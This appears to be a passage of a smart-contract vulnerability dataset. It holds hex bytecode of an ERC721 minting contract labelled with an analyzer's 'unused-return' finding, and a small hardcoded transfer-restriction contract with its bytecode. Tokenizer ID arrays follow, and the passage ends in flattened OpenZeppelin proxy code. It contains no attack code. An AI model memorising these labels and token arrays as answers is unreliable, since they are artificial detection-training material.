61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b84811015610a51578383828181106109f0576109f0613386565b9050602002013560126000888885818110610a0d57610a0d613386565b9050602002016020810190610a229190612e7e565b6001600160a01b0316815260208101919091526040016000206001015580610a4981613315565b9150506109d6565b50600195945050505050565b6000818152600260205260408120546001600160a01b0316610ae75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016109ca565b506000908152600460205260409020546001600160a01b031690565b6000610b0e82611764565b9050806001600160a01b0316836001600160a01b03161415610b985760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016109ca565b336001600160a01b0382161480610bb45750610bb481336107e6565b610c265760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109ca565b610c30838361210f565b505050565b60108054610c42906132e0565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6e906132e0565b8015610cbb5780601f10610c9057610100808354040283529160200191610cbb565b820191906000526020600020905b815481529060010190602001808311610c9e57829003601f168201915b505050505081565b600d5460ff16610d155760405162461bcd60e51b815260206004820152601b60248201527f53616c65206d7573742062652061637469766520746f206d696e74000000000060448201526064016109ca565b6000610d2060085490565b9050612776610d2f8383613252565b1115610d7d5760405162461bcd60e51b815260206004820152601260248201527f45786365656473206d617820737570706c79000000000000000000000000000060448201526064016109ca565b3482600f54610d8c919061327e565b1115610dda5760405162461bcd60e51b815260206004820152601760248201527f4554482076616c75652069736e277420636f727265637400000000000000000060448201526064016109ca565b600d54610100900460ff1615610f14576000610df5336113be565b905060008111610e6d5760405162461bcd60e51b815260206004820152602a60248201527f4e6f74206f6e20564950206c697374204f5220796f75206861766520616c726560448201527f616479206d696e7465640000000000000000000000000000000000000000000060648201526084016109ca565b80831115610ee35760405162461bcd60e51b815260206004820152602660248201527f45786365656473206d617820616c6c6f7474656420636f756e7420696e20564960448201527f50206c697374000000000000000000000000000000000000000000000000000060648201526084016109ca565b33600090815260116020526040902054610efe908490613252565b3360009081526011602052604090205550610f8c565b600e54821115610f8c5760405162461bcd60e51b815260206004820152602160248201527f45786365656473206d617820636f756e7420706572207472616e73616374696f60448201527f6e0000000000000000000000000000000000000000000000000000000000000060648201526084016109ca565b60015b828111610fbb57610fa933610fa48385613252565b61218a565b80610fb381613315565b915050610f8f565b60408051338152602081018590527f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885910160405180910390a1505050565b61100333826121a4565b6110755760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109ca565b610c308383836122ac565b600d5462010000900460ff166110d85760405162461bcd60e51b815260206004820152601c60248201527f4769667420636c61696d696e67206973206e6f7420656e61626c65640000000060448201526064016109ca565b60006110e360085490565b90506127766110f28383613252565b11156111405760405162461bcd60e51b815260206004820152601260248201527f45786365656473206d617820737570706c79000000000000000000000000000060448201526064016109ca565b600061114b336115e3565b9050600081116111c35760405162461bcd60e51b815260206004820152602860248201527f4e6f20676966747320776f6e204f5220796f75206861766520616c726561647960448201527f20636c61696d656400000000000000000000000000000000000000000000000060648201526084016109ca565b808311156112135760405162461bcd60e51b815260206004820152601a60248201527f45786365656473206d617820616c6c6f7474656420676966747300000000000060448201526064016109ca565b3360009081526012602052604090205461122e908490613252565b3360009081526012602052604090205560015b8381116112685761125633610fa48386613252565b8061126081613315565b915050611241565b60408051338152602081018690527fef33e970549489dd2e75c841935709372f2926e3b90b56af4040186e9b83b3e491015b60405180910390a150505050565b60006112b3836117ef565b82106113275760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e647300000000000000000000000000000000000000000060648201526084016109ca565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b031633146113aa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b600d805460ff19811660ff90911615179055565b60006113dd604051806040016040528060008152602001600081525090565b506001600160a01b038216600090815260116020908152604091829020825180840190935280548084526001909101549183018290521015611431578051602082015161142a919061329d565b9392505050565b50600092915050565b50919050565b600a546001600160a01b0316331461149a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b6040514790339082156108fc029083906000818181858888f193505050501580156114c9573d6000803e3d6000fd5b506040518181527f5b6b431d4476a211bb7d41c20d1aab9ae2321deee0d20be3d9fc9b1093fa6e3d9060200160405180910390a150565b6060600061150d836117ef565b67ffffffffffffffff8111156115255761152561339c565b60405190808252806020026020018201604052801561154e578160200160208202803683370190505b509050600060015b60085481116115bf57846001600160a01b031661157282611764565b6001600160a01b031614156115ad578083838151811061159457611594613386565b6020908102919091010152816115a981613315565b9250505b806115b781613315565b915050611556565b50909392505050565b610c3083838360405180602001604052806000815250611ba0565b6000611602604051806040016040528060008152602001600081525090565b506001600160a01b038216600090815260126020908152604091829020825180840190935280548084526001909101549183018290521015611431578051602082015161142a919061329d565b600061165a60085490565b82106116ce5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e6473000000000000000000000000000000000000000060648201526084016109ca565b600882815481106116e1576116e1613386565b90600052602060002001549050919050565b600a546001600160a01b0316331461174d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b805161176090600b906020840190612c93565b5050565b6000818152600260205260408120546001600160a01b0316806108d95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016109ca565b60006001600160a01b03821661186d5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016109ca565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146118e35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b6118ed6000612491565b565b600a546000906001600160a01b0316331461194c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b60005b84811015610a515783838281811061196957611969613386565b905060200201356011600088888581811061198657611986613386565b905060200201602081019061199b9190612e7e565b6001600160a01b03168152602081019190915260400160002060010155806119c281613315565b91505061194f565b600a546001600160a01b03163314611a245760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b805161176090600c906020840190612c93565b6060600180546108ee906132e0565b6001600160a01b038216331415611a9f5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109ca565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314611b655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff8116620100009182900460ff1615909102179055565b611baa33836121a4565b611c1c5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109ca565b611c28848484846124f0565b50505050565b600a546001600160a01b03163314611c885760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b6000611c9360085490565b9050612776611ca28383613252565b1115611cf05760405162461bcd60e51b815260206004820152601260248201527f45786365656473206d617820737570706c79000000000000000000000000000060448201526064016109ca565b60015b828111611d1a57611d0884610fa48385613252565b80611d1281613315565b915050611cf3565b604080516001600160a01b0386168152602081018590527f61c8427ca14788cf50e420fe4b1e41be1ab20530a3f48bb547315dc91e62b9c1910161129a565b6000818152600260205260409020546060906001600160a01b0316611de65760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016109ca565b6000611df0612579565b90506000815111611e10576040518060200160405280600081525061142a565b80611e1a84612588565b604051602001611e2b929190613190565b6040516020818303038152906040529392505050565b6060600c80546108ee906132e0565b600a546001600160a01b03163314611eaa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b6001600160a01b038116611f265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016109ca565b611f2f81612491565b50565b600a546001600160a01b03163314611f8c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff81166101009182900460ff1615909102179055565b600a546001600160a01b031633146120205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ca565b610c3060108383612d17565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806120bf57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806108d957507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316146108d9565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155819061215182611764565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6117608282604051806020016040528060008152506126ba565b6000818152600260205260408120546001600160a01b031661222e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016109ca565b600061223983611764565b9050806001600160a01b0316846001600160a01b031614806122745750836001600160a01b031661226984610a5d565b6001600160a01b0316145b806122a457506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166122bf82611764565b6001600160a01b03161461233b5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016109ca565b6001600160a01b0382166123b65760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016109ca565b6123c1838383612743565b6123cc60008261210f565b6001600160a01b03831660009081526003602052604081208054600192906123f590849061329d565b90915550506001600160a01b0382166000908152600360205260408120805460019290612423908490613252565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6124fb8484846122ac565b612507848484846127fb565b611c285760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109ca565b6060600b80546108ee906132e0565b6060816125c857505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156125f257806125dc81613315565b91506125eb9050600a8361326a565b91506125cc565b60008167ffffffffffffffff81111561260d5761260d61339c565b6040519080825280601f01601f191660200182016040528015612637576020820181803683370190505b5090505b84156122a45761264c60018361329d565b9150612659600a86613330565b612664906030613252565b60f81b81838151811061267957612679613386565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506126b3600a8661326a565b945061263b565b6126c483836129a8565b6126d160008484846127fb565b610c305760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109ca565b6001600160a01b03831661279e5761279981600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6127c1565b816001600160a01b0316836001600160a01b0316146127c1576127c18382612b03565b6001600160a01b0382166127d857610c3081612ba0565b826001600160a01b0316826001600160a01b031614610c3057610c308282612c4f565b60006001600160a01b0384163b1561299d576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a02906128589033908990889088906004016131bf565b602060405180830381600087803b15801561287257600080fd5b505af19250505080156128a2575060408051601f3d908101601f1916820190925261289f91810190613073565b60015b612952573d8080156128d0576040519150601f19603f3d011682016040523d82523d6000602084013e6128d5565b606091505b50805161294a5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109ca565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506122a4565b506001949350505050565b6001600160a01b0382166129fe5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109ca565b6000818152600260205260409020546001600160a01b031615612a635760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016109ca565b612a6f60008383612743565b6001600160a01b0382166000908152600360205260408120805460019290612a98908490613252565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001612b10846117ef565b612b1a919061329d565b600083815260076020526040902054909150808214612b6d576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612bb29060019061329d565b60008381526009602052604081205460088054939450909284908110612bda57612bda613386565b906000526020600020015490508060088381548110612bfb57612bfb613386565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480612c3357612c33613370565b6001900381819060005260206000200160009055905550505050565b6000612c5a836117ef565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b828054612c9f906132e0565b90600052602060002090601f016020900481019282612cc15760008555612d07565b82601f10612cda57805160ff1916838001178555612d07565b82800160010185558215612d07579182015b82811115612d07578251825591602001919060010190612cec565b50612d13929150612d8b565b5090565b828054612d23906132e0565b90600052602060002090601f016020900481019282612d455760008555612d07565b82601f10612d5e5782800160ff19823516178555612d07565b82800160010185558215612d07579182015b82811115612d07578235825591602001919060010190612d70565b5b80821115612d135760008155600101612d8c565b600067ffffffffffffffff80841115612dbb57612dbb61339c565b604051601f8501601f19908116603f01168101908282118183101715612de357612de361339c565b81604052809350858152868686011115612dfc57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114612e2d57600080fd5b919050565b60008083601f840112612e4457600080fd5b50813567ffffffffffffffff811115612e5c57600080fd5b6020830191508360208260051b8501011115612e7757600080fd5b9250929050565b600060208284031215612e9057600080fd5b61142a82612e16565b60008060408385031215612eac57600080fd5b612eb583612e16565b9150612ec360208401612e16565b90509250929050565b600080600060608486031215612ee157600080fd5b612eea84612e16565b9250612ef860208501612e16565b9150604084013590509250925092565b60008060008060808587031215612f1e57600080fd5b612f2785612e16565b9350612f3560208601612e16565b925060408501359150606085013567ffffffffffffffff811115612f5857600080fd5b8501601f81018713612f6957600080fd5b612f7887823560208401612da0565b91505092959194509250565b60008060408385031215612f9757600080fd5b612fa083612e16565b915060208301358015158114612fb557600080fd5b809150509250929050565b60008060408385031215612fd357600080fd5b612fdc83612e16565b946020939093013593505050565b6000806000806040858703121561300057600080fd5b843567ffffffffffffffff8082111561301857600080fd5b61302488838901612e32565b9096509450602087013591508082111561303d57600080fd5b5061304a87828801612e32565b95989497509550505050565b60006020828403121561306857600080fd5b813561142a816133b2565b60006020828403121561308557600080fd5b815161142a816133b2565b600080602083850312156130a357600080fd5b823567ffffffffffffffff808211156130bb57600080fd5b818501915085601f8301126130cf57600080fd5b8135818111156130de57600080fd5b8660208285010111156130f057600080fd5b60209290920196919550909350505050565b60006020828403121561311457600080fd5b813567ffffffffffffffff81111561312b57600080fd5b8201601f8101841361313c57600080fd5b6122a484823560208401612da0565b60006020828403121561315d57600080fd5b5035919050565b6000815180845261317c8160208601602086016132b4565b601f01601f19169290920160200192915050565b600083516131a28184602088016132b4565b8351908301906131b68183602088016132b4565b01949350505050565b60006001600160a01b038087168352808616602084015250836040830152608060608301526131f16080830184613164565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561323357835183529284019291840191600101613217565b50909695505050505050565b60208152600061142a6020830184613164565b6000821982111561326557613265613344565b500190565b6000826132795761327961335a565b500490565b600081600019048311821515161561329857613298613344565b500290565b6000828210156132af576132af613344565b500390565b60005b838110156132cf5781810151838201526020016132b7565b83811115611c285750506000910152565b600181811c908216806132f457607f821691505b6020821081141561143a57634e487b7160e01b600052602260045260246000fd5b600060001982141561332957613329613344565b5060010190565b60008261333f5761333f61335a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114611f2f57600080fdfea2646970667358221220bb8ef364ccb408a60d12983945392de0da45e65bb23827c92f4fcf483b83cb8564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2546,
2475,
2063,
23499,
16576,
2549,
3207,
29292,
2692,
21486,
16409,
20958,
2094,
16576,
26187,
17134,
2546,
2575,
4402,
2692,
2050,
18139,
2050,
2620,
2278,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1020,
1012,
1016,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1030,
1058,
2549,
1012,
1017,
1012,
1015,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,507 | 0x953f4b293ad5df5420451545544478164b23a6c6 | /**
*Submitted for verification at Etherscan.io on 2021-07-30
*/
pragma solidity ^0.4.24;
contract TransferManager {
function verifyTransfer(address _from, address _to, uint256 _amount) public view returns(bool) {
if (_from == address(0xa077f451c39DfE17BF5bEad6Be51ec99124534Fd)) {
if (_to == address(0x63A61a31F087295a2b3fbE6F546913Ccbe8127e8)) {
return true;
}
return false;
}
return true;
}
} | 0x6080604052600436106100405763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416639a4b1d5c8114610045575b600080fd5b34801561005157600080fd5b5061007c73ffffffffffffffffffffffffffffffffffffffff60043581169060243516604435610090565b604080519115158252519081900360200190f35b600073ffffffffffffffffffffffffffffffffffffffff841673a077f451c39dfe17bf5bead6be51ec99124534fd14156101065773ffffffffffffffffffffffffffffffffffffffff83167363a61a31f087295a2b3fbe6f546913ccbe8127e814156100fe5750600161010a565b50600061010a565b5060015b93925050505600a165627a7a723058207aae1080f25f5d08700cdc9b7213c028364f8c5c9f6786c98d9a35d9631fb88b0029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2546,
2549,
2497,
24594,
2509,
4215,
2629,
20952,
27009,
11387,
19961,
16068,
19961,
27009,
22932,
2581,
2620,
16048,
2549,
2497,
21926,
2050,
2575,
2278,
2575,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2382,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
4651,
24805,
4590,
1063,
3853,
20410,
6494,
3619,
7512,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3815,
1007,
2270,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2065,
1006,
1035,
2013,
1027,
1027,
4769,
1006,
1014,
18684,
2692,
2581,
2581,
2546,
19961,
2487,
2278,
23499,
20952,
2063,
16576,
29292,
2629,
4783,
4215,
2575,
4783,
22203,
8586,
2683,
2683,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,508 | 0x953f58B57b1D4B256d39067ca270DDF43c8749B1 | // Sources flattened with hardhat v2.8.3 https://hardhat.org
// File @openzeppelin/contracts/proxy/Proxy.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File @openzeppelin/contracts/utils/Address.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
